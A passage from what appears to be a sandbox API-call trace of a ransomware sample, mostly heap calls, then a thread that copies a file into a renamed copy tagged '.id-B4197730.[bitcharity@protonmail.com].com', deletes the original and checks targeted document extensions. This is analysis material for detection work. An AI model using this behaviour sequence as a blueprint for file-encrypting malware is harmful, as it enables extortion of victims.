hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0139.928] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0139.928] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0139.934] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0140.388] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0140.714] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0144.106] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3df80c0, Size=0x40000) returned 0x3e380d8 [0144.628] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e280d0 | out: hHeap=0x5a0000) returned 1 [0144.628] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0144.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0145.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0145.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0145.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0145.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0145.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0145.543] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0146.133] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e200b8 | out: hHeap=0x5a0000) returned 1 [0146.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e890f0 | out: hHeap=0x5a0000) returned 1 [0146.617] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e890f0 | out: hHeap=0x5a0000) returned 1 [0146.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0146.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0146.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0146.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0146.871] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0146.874] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.295] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.296] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.303] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.305] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.464] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.582] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.584] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.586] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.606] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0147.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.324] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.325] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3e380d8, Size=0x80000) returned 0x4198020 [0148.333] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.335] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.340] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.341] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.343] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.345] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.347] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.701] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.788] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0148.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.062] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.063] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.122] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e990f8 | out: hHeap=0x5a0000) returned 1 [0149.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e890f0 | out: hHeap=0x5a0000) returned 1 [0149.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e790e8 | out: hHeap=0x5a0000) returned 1 [0149.129] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0149.131] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0149.133] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0149.135] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0149.146] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0149.438] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e100c8 | out: hHeap=0x5a0000) returned 1 [0149.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0149.442] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.534] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.858] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.860] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.862] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.892] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.894] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.896] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.901] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0151.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.861] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.863] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.924] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.925] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.927] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.934] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.974] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0154.976] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.002] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.019] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.021] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.023] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.188] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.190] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.190] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e000c0 | out: hHeap=0x5a0000) returned 1 [0155.193] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.256] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.260] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.304] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.584] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.587] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.590] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.629] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.739] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.751] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 [0155.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df00b8 | out: hHeap=0x5a0000) returned 1 Thread: id = 856 os_tid = 0x1c10 [0128.636] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3610080 [0128.637] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3620088 [0128.637] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647cd8 [0128.638] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x656240 [0128.638] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647cf0 [0128.638] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x39d1020 [0128.641] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.641] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.641] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.641] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.641] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.641] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.641] Wow64DisableWow64FsRedirection (in: OldValue=0x2f8ff50 | out: OldValue=0x2f8ff50*=0x0) returned 1 [0128.641] lstrlenW (lpString="kernel32.dll") returned 12 [0128.641] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.641] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.641] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.642] Sleep (dwMilliseconds=0x64) [0128.880] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0128.880] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0128.880] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1040 [0129.558] GetFileSizeEx (in: hFile=0x1040, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=156) returned 1 [0129.558] CloseHandle (hObject=0x1040) returned 1 [0129.558] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0129.558] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.880] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0129.881] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.881] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.881] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1074 [0129.913] GetLastError () returned 0x0 [0129.913] ReadFile (in: hFile=0x1068, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x9c, lpOverlapped=0x0) returned 1 [0129.926] WriteFile (in: hFile=0x1074, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xa0, lpOverlapped=0x0) returned 1 [0129.928] ReadFile (in: hFile=0x1068, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.928] WriteFile (in: hFile=0x1074, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x100, lpOverlapped=0x0) returned 1 [0129.928] SetEndOfFile (hFile=0x1074) returned 1 [0129.928] CloseHandle (hObject=0x1074) returned 1 [0129.929] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.929] SetEndOfFile (hFile=0x1068) returned 1 [0129.930] CloseHandle (hObject=0x1068) returned 1 [0129.930] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0129.930] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0129.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.943] lstrlenW (lpString=".doc") returned 4 [0129.943] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0129.944] lstrlenW (lpString=".docx") returned 5 [0129.944] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0129.944] lstrlenW (lpString=".pdf") returned 4 [0129.944] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0129.944] lstrlenW (lpString=".xls") returned 4 [0129.944] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0129.944] lstrlenW (lpString=".xlsx") returned 5 [0129.944] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0129.944] lstrlenW (lpString=".ppt") returned 4 [0129.944] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0129.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.944] lstrlenW (lpString=".zip") returned 4 [0129.944] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0129.944] lstrlenW (lpString=".rar") returned 4 [0129.944] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0129.944] lstrlenW (lpString=".bz2") returned 4 [0129.944] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0129.944] lstrlenW (lpString=".7z") returned 3 [0129.944] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0129.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.944] lstrlenW (lpString=".dbf") returned 4 [0129.944] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0129.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.944] lstrlenW (lpString=".1cd") returned 4 [0129.944] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0129.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.944] lstrlenW (lpString=".jpg") returned 4 [0129.944] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0129.945] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.945] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.945] lstrlenW (lpString=".doc") returned 4 [0129.945] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0129.945] lstrlenW (lpString=".docx") returned 5 [0129.945] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0129.945] lstrlenW (lpString=".pdf") returned 4 [0129.945] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0129.945] lstrlenW (lpString=".xls") returned 4 [0129.945] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0129.945] lstrlenW (lpString=".xlsx") returned 5 [0129.945] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0129.945] lstrlenW (lpString=".ppt") returned 4 [0129.945] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0129.945] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.945] lstrlenW (lpString=".zip") returned 4 [0129.945] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0129.945] lstrlenW (lpString=".rar") returned 4 [0129.945] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0129.945] lstrlenW (lpString=".bz2") returned 4 [0129.945] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0129.945] lstrlenW (lpString=".7z") returned 3 [0129.945] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0129.945] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.945] lstrlenW (lpString=".dbf") returned 4 [0129.945] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0129.945] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0129.945] lstrlenW (lpString=".1cd") returned 4 [0129.945] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0129.945] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") 